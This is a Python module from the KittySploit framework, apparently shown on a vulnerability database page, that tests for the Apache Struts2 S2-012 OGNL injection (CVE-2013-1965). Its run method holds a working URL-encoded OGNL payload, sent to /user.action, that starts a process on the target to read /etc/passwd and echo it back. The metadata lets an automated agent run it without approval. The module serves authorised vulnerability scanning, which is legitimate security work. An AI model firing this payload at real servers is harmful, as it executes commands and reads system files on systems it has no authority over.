Apache Struts2 S2-012 RCE Detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts Showcase App 2."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Apache Struts2 S2-012 RCE Detection',
'description': 'Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2013', 'apache', 'rce', 'struts', 'ognl', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'http://struts.apache.org/development/2.x/docs/s2-012.html',
'https://nvd.nist.gov/vuln/detail/CVE-2013-1965',
'https://bugzilla.redhat.com/show_bug.cgi?id=967655',
'https://github.com/CrackerCat/myhktools',
'https://github.com/GhostTroops/myhktools',
],
'cve': 'CVE-2013-1965',
}
def run(self):
path = '/user.action'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if any(re.search(rx, body) for rx in body_regexes):
self.set_info(
severity='critical',
reason='Apache Struts2 S2-012 RCE detected',
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
8.9High risk
Vulners AI Score8.9
CVSS 29.3
EPSS0.93527